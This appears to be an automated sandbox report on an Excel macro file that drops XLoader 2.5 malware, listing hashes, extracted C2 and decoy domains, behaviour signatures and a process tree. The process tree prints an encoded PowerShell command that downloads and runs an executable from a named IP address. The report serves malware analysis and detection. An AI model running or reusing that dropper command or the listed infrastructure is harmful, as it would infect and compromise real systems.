xloader | 8ceae17c6a9fec00be0b94843b44fd2b19909cc080fcaa3a29a994f98ee6bc3a

General

Target

catalogue_2021_samples_list_revise_ol.xlsm
Size

22KB
MD5

dcc165863b274e869ea3fcad7499b793
SHA1

fb38b9c991744087932066e5e6ba9ea5377030cf
SHA256

8ceae17c6a9fec00be0b94843b44fd2b19909cc080fcaa3a29a994f98ee6bc3a
SHA512

5ee459191858947e3273e05e53404ef76779dce9b8f60ed2d6f0f888543af0585d1e46c3bb0e5296b2cd2c63883b6f51f8a27efff8b695e52ffaca73a1b2c10e

Score

10^/10

xloader pufi loader rat suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://84.252.122.23/acs/msn.exe

Extracted

Family

xloader

Version

2.5

Campaign

pufi

C2

http://www.homestechs.com/pufi/

Decoy

fusiongroupgames.net

hugevari.com

rebeccagriffiths.com

trocaoferta.com

theslashapp.com

codezonesoftware.xyz

sottocommunications.com

minicreators.online

course2millions.com

hfm5n1dhkjqwpe.xyz

xlab-ub.com

silvanaribeirocake.com

thefabinteriordesign.com

mg-leadership.com

petbort.com

ndust.net

203040302.xyz

jakital.com

shophuunghia.info

rednacionaldejuecesrd.net

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1228	2728	cmd.exe	EXCEL.EXE

Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Xloader Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/896-331-0x000000000041D450-mapping.dmp	xloader
behavioral2/memory/896-333-0x0000000000400000-0x0000000000429000-memory.dmp	xloader
behavioral2/memory/1320-341-0x0000000003000000-0x0000000003029000-memory.dmp	xloader

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 3828 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

Valohchctwnoaj.exeValohchctwnoaj.exeValohchctwnoaj.exe

pid process

1068 Valohchctwnoaj.exe
1188 Valohchctwnoaj.exe
896 Valohchctwnoaj.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

2728 EXCEL.EXE

flow	pid	process
35	3828	powershell.exe

pid	process
1068	Valohchctwnoaj.exe
1188	Valohchctwnoaj.exe
896	Valohchctwnoaj.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Valohchctwnoaj.exeValohchctwnoaj.execolorcpl.exe

description	pid	process	target process
PID 1068 set thread context of 896	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 896 set thread context of 3056	896	Valohchctwnoaj.exe	Explorer.EXE
PID 1320 set thread context of 3056	1320	colorcpl.exe	Explorer.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\C2067F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2728 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\C2067F00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 43 IoCs

Processes:

powershell.exeValohchctwnoaj.exeValohchctwnoaj.execolorcpl.exe

pid	process
3828	powershell.exe
3828	powershell.exe
3828	powershell.exe
1068	Valohchctwnoaj.exe
1068	Valohchctwnoaj.exe
896	Valohchctwnoaj.exe
896	Valohchctwnoaj.exe
896	Valohchctwnoaj.exe
896	Valohchctwnoaj.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe
1320	colorcpl.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

Valohchctwnoaj.execolorcpl.exe

pid process

896 Valohchctwnoaj.exe
896 Valohchctwnoaj.exe
896 Valohchctwnoaj.exe
1320 colorcpl.exe
1320 colorcpl.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

2728 EXCEL.EXE

pid	process
896	Valohchctwnoaj.exe
896	Valohchctwnoaj.exe
896	Valohchctwnoaj.exe
1320	colorcpl.exe
1320	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

Processes:

powershell.exeValohchctwnoaj.exeValohchctwnoaj.execolorcpl.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	1068	Valohchctwnoaj.exe
Token: SeDebugPrivilege	896	Valohchctwnoaj.exe
Token: SeDebugPrivilege	1320	colorcpl.exe
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE
Token: SeShutdownPrivilege	3056	Explorer.EXE
Token: SeCreatePagefilePrivilege	3056	Explorer.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEpowershell.exeValohchctwnoaj.exeExplorer.EXEcolorcpl.exe

description	pid	process	target process
PID 2728 wrote to memory of 1228	2728	EXCEL.EXE	cmd.exe
PID 2728 wrote to memory of 1228	2728	EXCEL.EXE	cmd.exe
PID 3828 wrote to memory of 1068	3828	powershell.exe	Valohchctwnoaj.exe
PID 3828 wrote to memory of 1068	3828	powershell.exe	Valohchctwnoaj.exe
PID 3828 wrote to memory of 1068	3828	powershell.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 1188	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 1188	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 1188	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 896	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 896	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 896	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 896	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 896	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 1068 wrote to memory of 896	1068	Valohchctwnoaj.exe	Valohchctwnoaj.exe
PID 3056 wrote to memory of 1320	3056	Explorer.EXE	colorcpl.exe
PID 3056 wrote to memory of 1320	3056	Explorer.EXE	colorcpl.exe
PID 3056 wrote to memory of 1320	3056	Explorer.EXE	colorcpl.exe
PID 1320 wrote to memory of 704	1320	colorcpl.exe	cmd.exe
PID 1320 wrote to memory of 704	1320	colorcpl.exe	cmd.exe
PID 1320 wrote to memory of 704	1320	colorcpl.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\catalogue_2021_samples_list_revise_ol.xlsm"
2⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Vmjyqpdtjzulujohdgjh.bat
3⤵
- Process spawned unexpected child process
PID:1228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBWAGEAbABvAGgAYwBoAGMAdAB3AG4AbwBhAGoALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAzAC8AYQBjAHMALwBtAHMAbgAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA=
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3828

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
"C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1068

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
"C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
6⤵
- Executes dropped EXE
PID:1188

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
"C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:896

C:\Windows\SysWOW64\autofmt.exe
"C:\Windows\SysWOW64\autofmt.exe"
2⤵
PID:1288

C:\Windows\SysWOW64\colorcpl.exe
"C:\Windows\SysWOW64\colorcpl.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1320

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
3⤵
PID:704

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
MD5
2b5dc0ab0d788a63f4a09f80c2de0799

SHA1
25d10abffaa19611b1376d8e3bd1a541fdc6afed

SHA256
8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

SHA512
7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

Download Submit
C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
MD5
2b5dc0ab0d788a63f4a09f80c2de0799

SHA1
25d10abffaa19611b1376d8e3bd1a541fdc6afed

SHA256
8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

SHA512
7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

Download Submit
C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
MD5
2b5dc0ab0d788a63f4a09f80c2de0799

SHA1
25d10abffaa19611b1376d8e3bd1a541fdc6afed

SHA256
8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

SHA512
7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

Download Submit
C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
MD5
2b5dc0ab0d788a63f4a09f80c2de0799

SHA1
25d10abffaa19611b1376d8e3bd1a541fdc6afed

SHA256
8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

SHA512
7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

Download Submit
memory/704-339-0x0000000000000000-mapping.dmp

Download
memory/896-336-0x0000000001400000-0x0000000001411000-memory.dmp

Filesize
68KB

Download
memory/896-331-0x000000000041D450-mapping.dmp

Download
memory/896-335-0x00000000010C0000-0x00000000013E0000-memory.dmp

Filesize
3.1MB

Download
memory/896-333-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/1068-316-0x0000000000000000-mapping.dmp

Download
memory/1068-326-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/1228-286-0x0000000000000000-mapping.dmp

Download
memory/1320-343-0x0000000004960000-0x00000000049F0000-memory.dmp

Filesize
576KB

Download
memory/1320-342-0x00000000045B0000-0x00000000048D0000-memory.dmp

Filesize
3.1MB

Download
memory/1320-340-0x0000000000020000-0x0000000000039000-memory.dmp

Filesize
100KB

Download
memory/1320-341-0x0000000003000000-0x0000000003029000-memory.dmp

Filesize
164KB

Download
memory/1320-338-0x0000000000000000-mapping.dmp

Download
memory/2728-117-0x00007FF7FB410000-0x00007FF7FB420000-memory.dmp

Filesize
64KB

Download
memory/2728-120-0x000001AEB7570000-0x000001AEB7572000-memory.dmp

Filesize
8KB

Download
memory/2728-118-0x00007FF7FB410000-0x00007FF7FB420000-memory.dmp

Filesize
64KB

Download
memory/2728-119-0x00007FF7FB410000-0x00007FF7FB420000-memory.dmp

Filesize
64KB

Download
memory/2728-115-0x00007FF7FB410000-0x00007FF7FB420000-memory.dmp

Filesize
64KB

Download
memory/2728-121-0x000001AEB7570000-0x000001AEB7572000-memory.dmp

Filesize
8KB

Download
memory/2728-116-0x00007FF7FB410000-0x00007FF7FB420000-memory.dmp

Filesize
64KB

Download
memory/2728-122-0x000001AEB7570000-0x000001AEB7572000-memory.dmp

Filesize
8KB

Download
memory/3056-337-0x0000000005050000-0x00000000051E4000-memory.dmp

Filesize
1.6MB

Download
memory/3056-350-0x00000000025C0000-0x000000000269C000-memory.dmp

Filesize
880KB

Download
memory/3828-313-0x000002F4154F6000-0x000002F4154F8000-memory.dmp

Filesize
8KB

Download
memory/3828-299-0x000002F4154F3000-0x000002F4154F5000-memory.dmp

Filesize
8KB

Download
memory/3828-297-0x000002F4154F0000-0x000002F4154F2000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads